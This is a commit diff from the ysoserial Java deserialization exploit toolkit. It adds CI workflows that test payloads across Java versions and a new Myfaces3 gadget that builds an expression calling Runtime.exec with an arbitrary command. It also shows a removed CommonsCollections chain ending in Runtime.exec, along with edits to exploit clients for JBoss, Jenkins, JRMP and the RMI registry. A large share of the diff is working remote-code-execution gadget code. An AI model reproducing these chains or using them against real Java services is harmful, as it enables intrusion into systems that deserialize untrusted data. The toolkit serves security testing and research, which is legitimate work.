skip tests for jar publish

* CommonsCollections8 payload (#116)

* New gadgets (Struts2JasperReports - Atomikos - SpringJta) (#123)

* added Atomikos gadget payload

* added Atomikos gadget payload

* naming

* added spring-jta gadget

* added strutsJasperReports gadget + tests

* updated deps list on springJta

* fixed authors

* renaming

* Add new payload in Commons Collections 3.2.1 (#125)

* Add Jython2 gadget (#135)

This version of Jython2 executes a command through os.system(). Based on Jython1 from @pwntester & @cschneider4711

Co-authored-by: Chris Frohoff <[email protected]>

* Add scala and clojure payloads from a couple of years ago (#137)

* Add some payloads for Scala

* Add new clojure payload effecting versions since 1.8.0

* Fix infinite loop behavior of clojure2 payload.

* add CommonsBeanutils2 (#163)

* ceylon gadget (#173)

Co-authored-by: navalorenzo <[email protected]>
Co-authored-by: Stefano Ciccone <[email protected]>
Co-authored-by: 梅子酒 <[email protected]>
Co-authored-by: Yorick Koster <[email protected]>
Co-authored-by: Ian Haken <[email protected]>
Co-authored-by: k4n5ha0 <[email protected]>
Co-authored-by: supersache <[email protected]>

.github/workflows/README.md

@@ -0,0 +1,14 @@
+Running with [nektos/act](nektos/act)
+=====================================
+Requires `HEAD` version of `act`
+```
+$ act --version
+act version HEAD-4d71071
+```
+
+`act -r --artifact-server-path /tmp/ -P ubuntu-latest=ghcr.io/catthehacker/ubuntu:full-latest`
+
+Known issues:
+- https://github.com/nektos/act/issues/910
+- https://github.com/nektos/act/issues/973
+- https://github.com/nektos/act/issues/284

.github/workflows/deploy.yml

@@ -0,0 +1,19 @@
+name: publish jar
+on: [push]
+
+jobs:
+  publish:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      packages: write
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-java@v3
+        with:
+          java-version: '8'
+          distribution: 'adopt'
+      - name: Publish package
+        run: mvn -B clean deploy -DskipTests -DrepositoryId=github -Dversion=${GITHUB_REF_NAME}-SNAPSHOT
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/results.py

@@ -0,0 +1,70 @@
+import itertools
+import json
+import operator
+import re
+import sys
+
+import subprocess
+
+import pytablewriter
+
+# try:
+#     import pytablewriter
+# except:
+#     subprocess.check_call(['pip', 'install', 'pytablewriter'])
+#     import pytablewriter
+
+def ver(v):
+    return v.split(".", 1)[1] if v.startswith("1.") else v
+
+def status(s):
+    return ':green_circle:' if s == 'SUCCESS' else ':red_square:'
+
+
+if len(sys.argv) > 1:
+    with open(sys.argv[1]) as f:
+        data = [json.loads(line) for line in f.readlines()]
+else:
+    data = [json.loads(line) for line in sys.stdin.readlines()]
+
+for da in data:
+    del da['out']
+
+# print(repr(data))
+
+GET_VER = operator.itemgetter('java.version')
+GET_PAY = operator.itemgetter('payload')
+
+by_payload = {payload:
+                {ver(version): list(o2)[0]['status']
+                for version, o2 in itertools.groupby(sorted(o1, key=GET_VER), GET_VER)}
+                for payload, o1 in itertools.groupby(sorted(data, key=GET_PAY), GET_PAY)}
+
+by_version = {ver(version):
+                {payload: list(o2)[0]['status']
+                 for payload, o2 in itertools.groupby(sorted(o1, key=GET_PAY), GET_PAY)}
+                 for version, o1 in itertools.groupby(sorted(data, key=GET_VER), GET_VER)}
+
+sorted_ver = sorted(by_version.items(), key=lambda v: list(map(int, re.split(r'[._]', v[0]))))
+
+ver_groups = [list(v for v, r in vers) for res, vers in itertools.groupby(sorted_ver, operator.itemgetter(1))]
+
+ver_ranges = [[vs[0], vs[-1]] for vs in ver_groups]
+
+
+# print('\n'.join(repr(v) for v in ver_groups))
+#
+# print(repr(by_payload))
+# print(repr(by_version))
+
+vers = list(list(by_payload.items())[0][1].keys())
+
+# print(vers)
+
+md = pytablewriter.MarkdownTableWriter()
+md.table_name = ''
+md.header_list = [''] + ['{} - {}'.format(vs, ve) if vs != ve else vs for vs, ve in ver_ranges]
+md.value_matrix = [[p] + [status(o[vs]) for vs, ve in ver_ranges] for p, o in sorted(by_payload.items())]
+md.margin = 1
+
+md.write_table()

.github/workflows/test.yml

@@ -0,0 +1,121 @@
+# https://michaelheap.com/dynamic-matrix-generation-github-actions/
+
+name: test
+on: [push]
+jobs:
+  # TODO cache build output by commit
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - if: ${{ env.ACT }} # act workaround
+        run: sudo chown -R runner:runner /var/run/act
+
+      - uses: actions/checkout@v2
+
+      - if: ${{ env.ACT }} # act workaround
+        run: sudo chown -R runner:runner .
+
+      - uses: actions/setup-java@v2
+        with:
+          java-version: 8
+          distribution: adopt
+
+      - if: ${{ !env.ACT }} # use -r with act
+        uses: actions/cache@v2
+        with:
+          path: ~/.m2/repository
+          key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }}
+          restore-keys: |
+            ${{ runner.os }}-maven-
+
+      - run: mvn -B clean package -DskipTests
+
+      - uses: actions/upload-artifact@v3
+        with:
+          name: jar
+          path: target/ysoserial-*-all.jar
+
+  set-matrix:
+    runs-on: ubuntu-latest
+    container: dwdraju/alpine-curl-jq
+    steps:
+      - id: get-versions
+        run: |
+          URL="https://hub.docker.com/v2/repositories/vulhub/java/tags/?page_size=100"
+          VERSIONS=$(curl -s $URL "$URL&page=2" | jq -rc '[[.results[].name] | _nwise(1) | join(" ")]')
+          echo "::set-output name=versions::$VERSIONS"
+    outputs:
+      versions: ${{ steps.get-versions.outputs.versions }}
+
+  run-java:
+    needs:
+      - set-matrix
+      - build
+    strategy:
+      matrix:
+        version: ${{ fromJson(needs.set-matrix.outputs.versions) }} # broken in act
+#        version: [7u21-jdk 7u25-jdk, 7u40-jdk]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/download-artifact@v3
+        with:
+          name: jar
+          path: jar
+      - run: mv jar/ysoserial-*-all.jar jar/ysoserial.jar
+      - run: |
+          touch out.txt
+          for v in ${{ matrix.version }}; do
+            echo running $v
+            docker pull vulhub/java:$v
+            docker run --rm -v $(pwd):/app vulhub/java:$v java -cp '/app/jar/ysoserial.jar' -DforceTests=true ysoserial.test.payloads.PayloadsTest >> out.txt
+          done
+      - uses: actions/upload-artifact@v3
+        if: always()
+        with:
+          name: out-${{ matrix.version }}
+          path: out.txt
+
+  analyze:
+    needs: run-java
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - uses: actions/download-artifact@v3
+        with:
+          path: artifacts
+      - run: cat artifacts/out*/*.txt > out.txt
+      - run: pip install pytablewriter
+      - run: cat out.txt | python .github/workflows/results.py > matrix.md
+      - uses: actions/upload-artifact@v3
+        with:
+          name: out
+          path: out.txt
+      - uses: actions/upload-artifact@v3
+        with:
+          name: matrix
+          path: matrix.md
+
+  update-wiki:
+    needs: analyze
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+        with:
+          repository: ${{github.repository}}.wiki
+      - uses: actions/download-artifact@v3
+        with:
+          name: matrix
+      - uses: actions/download-artifact@v3
+        with:
+          name: out
+      - run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git add matrix.md
+          git add out.txt
+          git commit -m "Add changes"
+      - uses: ad-m/github-push-action@master
+        with:
+          repository: ${{github.repository}}.wiki
+          branch: master
+          github_token: ${{ secrets.GITHUB_TOKEN }}

pom.xml

@@ -102,7 +102,6 @@
 			<scope>test</scope>
 		</dependency>
 
-
 		<!-- non-gadget dependencies -->
 
 		<dependency>
@@ -330,11 +329,22 @@
             <groupId>org.scala-lang</groupId>
             <artifactId>scala-library</artifactId>
             <version>2.12.6</version>
+        </dependency>
 		<dependency>
     		<groupId>com.atomikos</groupId>
-    		<artifactId>transactions-osgi</artifactId>
+    		<artifactId>transactions-jta</artifactId>
     		<version>4.0.6</version>
 		</dependency>
+        <dependency>
+            <groupId>com.atomikos</groupId>
+            <artifactId>transactions-api</artifactId>
+            <version>4.0.6</version>
+        </dependency>
+        <dependency>
+            <groupId>com.atomikos</groupId>
+            <artifactId>atomikos-util</artifactId>
+            <version>4.0.6</version>
+        </dependency>
 		<dependency>
       		<groupId>org.springframework</groupId>
       		<artifactId>spring-tx</artifactId>
@@ -473,4 +483,11 @@
 		</profile>
 
 	</profiles>
+    <distributionManagement>
+        <repository>
+            <id>github</id>
+            <name>GitHub Packages</name>
+            <url>https://maven.pkg.github.com/frohoff/ysoserial</url>
+        </repository>
+    </distributionManagement>
 </project>

src/main/java/ysoserial/GeneratePayload.java

@@ -34,7 +34,7 @@ public class GeneratePayload {
 			final Object object = payload.getObject(command);
 			PrintStream out = System.out;
 			Serializer.serialize(object, out);
-			ObjectPayload.Utils.releasePayload(payload, object);
+			ObjectPayload.Utils.postSerializeRelease(payload, object);
 		} catch (Throwable e) {
 			System.err.println("Error while generating or serializing payload");
 			e.printStackTrace();

src/main/java/ysoserial/Strings.java

@@ -1,11 +1,6 @@
 package ysoserial;
 
-import org.apache.commons.lang.StringUtils;
-
-import java.util.Arrays;
-import java.util.Comparator;
-import java.util.LinkedList;
-import java.util.List;
+import java.util.*;
 
 public class Strings {
     public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {

src/main/java/ysoserial/exploit/JBoss.java

@@ -124,7 +124,7 @@ public class JBoss {
         }
 
         doRun(u, payloadObject, username, password);
-        Utils.releasePayload(args[1], payloadObject);
+        Utils.postSerializeRelease(args[1], payloadObject);
     }
 
 

src/main/java/ysoserial/exploit/JRMPClient.java

@@ -49,7 +49,7 @@ public class JRMPClient {
         catch ( Exception e ) {
             e.printStackTrace(System.err);
         }
-        Utils.releasePayload(args[2], payloadObject);
+        Utils.postSerializeRelease(args[2], payloadObject);
     }
 
     public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
@@ -95,6 +95,7 @@ public class JRMPClient {
         }
     }
 
+    // based on http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java
     static final class MarshalOutputStream extends ObjectOutputStream {
 
 

src/main/java/ysoserial/exploit/JRMPListener.java

@@ -122,7 +122,7 @@ public class JRMPListener implements Runnable {
             System.err.println("Listener error");
             e.printStackTrace(System.err);
         }
-        Utils.releasePayload(args[1], payloadObject);
+        Utils.postSerializeRelease(args[1], payloadObject);
     }
 
 

src/main/java/ysoserial/exploit/JSF.java

@@ -71,7 +71,7 @@ public class JSF {
         catch ( Exception e ) {
             e.printStackTrace(System.err);
         }
-        Utils.releasePayload(args[1], payloadObject);
+        Utils.postSerializeRelease(args[1], payloadObject);
 
     }
 

src/main/java/ysoserial/exploit/JenkinsCLI.java

@@ -67,7 +67,7 @@ public class JenkinsCLI {
                 }
             }
         }
-        Utils.releasePayload(args[1], payloadObject);
+        Utils.postSerializeRelease(args[1], payloadObject);
     }
 
     public static Callable<?, ?> getPropertyCallable ( final Object prop )

src/main/java/ysoserial/exploit/JenkinsListener.java

@@ -196,7 +196,7 @@ public class JenkinsListener {
             final Object object = payload.getObject(payloadArg);
             objOut.writeObject(object);
             os.flush();
-            ObjectPayload.Utils.releasePayload(payload, object);
+            ObjectPayload.Utils.postSerializeRelease(payload, object);
         }
         catch ( Exception e ) {
             e.printStackTrace(System.err);

src/main/java/ysoserial/exploit/JenkinsReverse.java

@@ -7,7 +7,6 @@ import java.rmi.registry.Registry;
 import java.util.Random;
 
 import hudson.remoting.Channel;
-import ysoserial.exploit.JRMPListener;
 import ysoserial.payloads.JRMPClient;
 import ysoserial.payloads.ObjectPayload.Utils;
 
@@ -75,6 +74,6 @@ public class JenkinsReverse {
                 }
             }
         }
-        Utils.releasePayload(args[2], payloadObject);
+        Utils.postSerializeRelease(args[2], payloadObject);
     }
 }

src/main/java/ysoserial/exploit/RMIRegistryExploit.java

@@ -78,7 +78,7 @@ public class RMIRegistryExploit {
 			} catch (Throwable e) {
 				e.printStackTrace();
 			}
-			Utils.releasePayload(payloadObj, payload);
+			Utils.postSerializeRelease(payloadObj, payload);
 			return null;
 		}});
 	}

src/main/java/ysoserial/payloads/AspectJWeaver.java

@@ -11,6 +11,7 @@ import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
+import java.io.File;
 import java.io.Serializable;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
@@ -38,7 +39,7 @@ java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
 More information:
 https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
  */
-@PayloadTest(skip="non RCE")
+@PayloadTest(harness="ysoserial.test.payloads.SimpleFileWriteTest")
 @SuppressWarnings({"rawtypes", "unchecked"})
 @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
 @Authors({ Authors.JANG })
@@ -52,13 +53,14 @@ public class AspectJWeaver implements ObjectPayload<Serializable> {
         }
         String[] parts = command.split(";");
         String filename = parts[0];
+        File file = new File(filename);
         byte[] content = Base64.decodeBase64(parts[1]);
 
         Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
-        Object simpleCache = ctor.newInstance(".", 12);
+        Object simpleCache = ctor.newInstance(file.getParent().toString(), 12);
         Transformer ct = new ConstantTransformer(content);
         Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
-        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, file.getName());
         HashSet map = new HashSet(1);
         map.add("foo");
         Field f = null;
@@ -101,7 +103,7 @@ public class AspectJWeaver implements ObjectPayload<Serializable> {
     }
 
     public static void main(String[] args) throws Exception {
-        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
+        args = new String[]{"..\\ahi.txt;YWhpaGloaQ=="};
         PayloadRunner.run(AspectJWeaver.class, args);
     }
 }

src/main/java/ysoserial/payloads/Atomikos.java

@@ -32,7 +32,7 @@ import ysoserial.payloads.util.Reflections;
 *
 */
 @PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
-@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } )
+@Dependencies( { "com.atomikos:transactions-jta:4.0.6", "com.atomikos:transactions-api:4.0.6", "com.atomikos:atomikos-util:4.0.6", "javax.transaction:jta:1.1" } )
 @Authors({ Authors.PWNTESTER, Authors.SCICCONE })
 public class Atomikos implements ObjectPayload<Object> {
 

src/main/java/ysoserial/payloads/Ceylon.java

@@ -5,6 +5,7 @@ import com.redhat.ceylon.compiler.java.language.SerializationProxy;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
 
 @Authors({ Authors.KULLRICH })
 @Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
@@ -20,4 +21,8 @@ public class Ceylon implements ObjectPayload<Object>
 
 		return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
 	}
+
+    public static void main(String[] args) throws Exception {
+        PayloadRunner.run(Ceylon.class, args);
+    }
 }

src/main/java/ysoserial/payloads/CommonsBeanutils2.java

@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
 // Origin Detective is PHITHON From
 // https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
 @SuppressWarnings({"rawtypes", "unchecked"})
-@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
+@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
 @Authors({Authors.K4n5ha0})
 public class CommonsBeanutils2 implements ObjectPayload<Object> {
 

src/main/java/ysoserial/payloads/CommonsCollections9.java

@@ -1,102 +0,0 @@
-package ysoserial.payloads;
-
-import java.lang.reflect.Field;
-import java.lang.reflect.InvocationHandler;
-import java.util.HashMap;
-import java.util.Map;
-
-import javax.management.BadAttributeValueExpException;
-
-import org.apache.commons.collections.Transformer;
-import org.apache.commons.collections.functors.ChainedTransformer;
-import org.apache.commons.collections.functors.ConstantTransformer;
-import org.apache.commons.collections.functors.InvokerTransformer;
-import org.apache.commons.collections.keyvalue.TiedMapEntry;
-import org.apache.commons.collections.map.LazyMap;
-
-import org.apache.commons.collections.map.DefaultedMap;
-
-import ysoserial.payloads.annotation.Authors;
-import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.annotation.PayloadTest;
-import ysoserial.payloads.util.Gadgets;
-import ysoserial.payloads.util.JavaVersion;
-import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
-
-/*
-	Gadget chain:
-		ObjectInputStream.readObject()
-			AnnotationInvocationHandler.readObject()
-				Map(Proxy).entrySet()
-					AnnotationInvocationHandler.invoke()
-						DefaultedMap.get()
-							ChainedTransformer.transform()
-								ConstantTransformer.transform()
-								InvokerTransformer.transform()
-									Method.invoke()
-										Class.getMethod()
-								InvokerTransformer.transform()
-									Method.invoke()
-										Runtime.getRuntime()
-								InvokerTransformer.transform()
-									Method.invoke()
-										Runtime.exec()
-
-	Requires:
-		commons-collections
- */
-/*
-This only works in JDK 8u76 and WITHOUT a security manager
-
-https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
- */
-//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
-@SuppressWarnings({"rawtypes", "unchecked"})
-@PayloadTest ( precondition = "isApplicableJavaVersion")
-@Dependencies({"commons-collections:commons-collections:3.2.1"})
-@Authors({ Authors.MEIZJM3I})
-public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
-
-    public BadAttributeValueExpException getObject(final String command) throws Exception {
-        final String[] execArgs = new String[] { command };
-        // inert chain for setup
-        final Transformer transformerChain = new ChainedTransformer(
-            new Transformer[]{ new ConstantTransformer(1) });
-        // real chain for after setup
-        final Transformer[] transformers = new Transformer[] {
-            new ConstantTransformer(Runtime.class),
-            new InvokerTransformer("getMethod", new Class[] {
-                String.class, Class[].class }, new Object[] {
-                "getRuntime", new Class[0] }),
-            new InvokerTransformer("invoke", new Class[] {
-                Object.class, Object[].class }, new Object[] {
-                null, new Object[0] }),
-            new InvokerTransformer("exec",
-                new Class[] { String.class }, execArgs),
-            new ConstantTransformer(1) };
-
-        final Map innerMap = new HashMap();
-        final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
-
-        TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
-
-        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
-        Field valfield = val.getClass().getDeclaredField("val");
-        valfield.setAccessible(true);
-        valfield.set(val, entry);
-
-        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
-
-        return val;
-    }
-
-    public static void main(final String[] args) throws Exception {
-        PayloadRunner.run(CommonsCollections5.class, args);
-    }
-
-    public static boolean isApplicableJavaVersion() {
-        return JavaVersion.isBadAttrValExcReadObj();
-    }
-
-}

src/main/java/ysoserial/payloads/FileUpload1.java

@@ -43,7 +43,7 @@ import ysoserial.payloads.util.Reflections;
 } )
 @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
 @Authors({ Authors.MBECHLER })
-public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
+public class FileUpload1 implements PostSerializeReleasable<DiskFileItem> {
     public static boolean isApplicableJavaVersion() {
         return JavaVersion.isAtLeast(7);
     }
@@ -73,7 +73,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
     }
 
 
-    public void release ( DiskFileItem obj ) throws Exception {
+    public void postSerializeRelease(DiskFileItem obj ) throws Exception {
         // otherwise the finalizer deletes the file
         DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
         Reflections.setFieldValue(obj, "dfos", dfos);

src/main/java/ysoserial/payloads/JBossInterceptors1.java

@@ -31,7 +31,7 @@ import java.util.*;
 @SuppressWarnings({"rawtypes", "unchecked"})
 @PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
-    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
+    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
 public class JBossInterceptors1 implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/JRMPClient.java

@@ -2,6 +2,8 @@ package ysoserial.payloads;
 
 
 import java.lang.reflect.Proxy;
+import java.net.URI;
+import java.net.URISyntaxException;
 import java.rmi.registry.Registry;
 import java.rmi.server.ObjID;
 import java.rmi.server.RemoteObjectInvocationHandler;
@@ -49,11 +51,13 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
+@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectTest")
 @Authors({ Authors.MBECHLER })
 public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
 
-    public Registry getObject ( final String command ) throws Exception {
+    public Registry getObject ( String command ) throws Exception {
+
+        command = command.replaceAll("(^[a-z]+://)|(/[^:]+$)", "");
 
         String host;
         int port;

src/main/java/ysoserial/payloads/JRMPListener.java

@@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject;
 
 import sun.rmi.server.ActivationGroupImpl;
 import sun.rmi.server.UnicastServerRef;
+import sun.rmi.transport.ObjectTable;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
@@ -34,9 +35,9 @@ import ysoserial.payloads.util.Reflections;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( skip = "This test would make you potentially vulnerable")
+@PayloadTest(harness="ysoserial.test.payloads.JRMPListenerTest")
 @Authors({ Authors.MBECHLER })
-public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
+public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject>, PostDeserializeReleasable<UnicastRemoteObject> {
 
     public UnicastRemoteObject getObject ( final String command ) throws Exception {
         int jrmpPort = Integer.parseInt(command);
@@ -50,8 +51,13 @@ public class JRMPListener extends PayloadRunner implements ObjectPayload<Unicast
         return uro;
     }
 
+    @Override
+    public void postDeserializeRelease(UnicastRemoteObject obj) throws Exception {
+        // unexport ref to allow listener thread (and jvm) to exit
+        ObjectTable.unexportObject(obj, true);
+    }
 
     public static void main ( final String[] args ) throws Exception {
-        PayloadRunner.run(JRMPListener.class, args);
+        UnicastRemoteObject uro = PayloadRunner.run(JRMPListener.class, new String[] { "44444" });
     }
 }

src/main/java/ysoserial/payloads/JavassistWeld1.java

@@ -31,7 +31,7 @@ import java.util.*;
 @SuppressWarnings({"rawtypes", "unchecked"})
 @PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
-    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
+    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
 public class JavassistWeld1 implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/Jython1.java

@@ -39,7 +39,7 @@ import ysoserial.payloads.util.PayloadRunner;
  * exception information).
  */
 
-@PayloadTest(skip="non RCE")
+@PayloadTest(harness="ysoserial.test.payloads.PythonUploadExecTest")
 @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
 @Dependencies({ "org.python:jython-standalone:2.5.2" })
 @Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })

src/main/java/ysoserial/payloads/Myfaces1.java

@@ -5,6 +5,7 @@ package ysoserial.payloads;
 import javax.el.ELContext;
 import javax.el.ExpressionFactory;
 import javax.el.ValueExpression;
+import javax.faces.context.FacesContext;
 import javax.servlet.ServletContext;
 import javax.servlet.ServletRequest;
 import javax.servlet.ServletResponse;
@@ -76,6 +77,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
     public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception  {
         FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
         ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
+
         Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
         ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
 
@@ -89,6 +91,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
 
 
     public static void main ( final String[] args ) throws Exception {
-        PayloadRunner.run(Myfaces1.class, args);
+        FacesContext.getCurrentInstance();
+        Object deserialized = PayloadRunner.run(Myfaces1.class, new String[] { "${\"\".getClass()}" });
     }
 }

src/main/java/ysoserial/payloads/Myfaces3.java

@@ -0,0 +1,92 @@
+package ysoserial.payloads;
+
+
+import org.apache.myfaces.context.servlet.FacesContextImpl;
+import org.apache.myfaces.context.servlet.FacesContextImplBase;
+import org.apache.myfaces.el.CompositeELResolver;
+import org.apache.myfaces.el.unified.FacesELContext;
+import org.apache.myfaces.view.facelets.el.DefaultFunctionMapper;
+import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import javax.el.BeanELResolver;
+import javax.el.ELContext;
+import javax.el.ExpressionFactory;
+import javax.el.ValueExpression;
+import javax.faces.context.FacesContext;
+import javax.servlet.ServletContext;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+
+
+/*
+Adding this for sentimental value as this is almost the same as the first deserialization exploit I ever crafted that
+led to the larger research project.
+ */
+@Authors({ Authors.MBECHLER, Authors.FROHOFF })
+@PayloadTest(harness = "ysoserial.test.payloads.MyFacesExecTest")
+public class Myfaces3 implements ObjectPayload<Object>, DynamicDependencies {
+
+    public Object getObject ( String command ) throws Exception {
+        return makeExpressionPayload(command);
+    }
+
+
+    public static String[] getDependencies () {
+        if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
+            return new String[] {
+                "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
+                "org.mortbay.jasper:apache-el:8.0.27",
+                "javax.servlet:javax.servlet-api:3.1.0",
+
+                // deps for mocking the FacesContext
+                "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
+            };
+        } else if ( "juel".equals(System.getProperty("el")) ) {
+            return new String[] {
+                "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
+                "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
+                "javax.servlet:javax.servlet-api:3.1.0",
+
+                // deps for mocking the FacesContext
+                "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
+            };
+        }
+
+        throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
+    }
+
+    public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception  {
+        FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
+
+        DefaultFunctionMapper fm = new DefaultFunctionMapper();
+        fm.addFunction("pwn","getRuntime", Runtime.class.getMethod("getRuntime", new Class[0]));
+
+        CompositeELResolver elResolver = new CompositeELResolver();
+        elResolver.add(new BeanELResolver());
+        FacesELContext elContext = new FacesELContext(elResolver, fc);
+        elContext.setFunctionMapper(fm);
+
+        Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
+        ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
+
+        ValueExpression ve1 = expressionFactory.createValueExpression(elContext,
+            "#{pwn:getRuntime().exec(\"" + Gadgets.escapeForJavaString(expr) + "\")}", Object.class);
+        ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
+        ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
+        ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
+
+        Reflections.setFieldValue(e.getWrapped(), "fnMapper", fm);
+
+        return Gadgets.makeMap(e2, e);
+    }
+
+
+    public static void main ( final String[] args ) throws Exception {
+        PayloadRunner.run(Myfaces3.class, new String[] { "calc" });
+    }
+}

src/main/java/ysoserial/payloads/ObjectPayload.java

@@ -76,14 +76,14 @@ public interface ObjectPayload <T> {
 
 
         @SuppressWarnings ( "unchecked" )
-        public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
-            if ( payload instanceof ReleaseableObjectPayload ) {
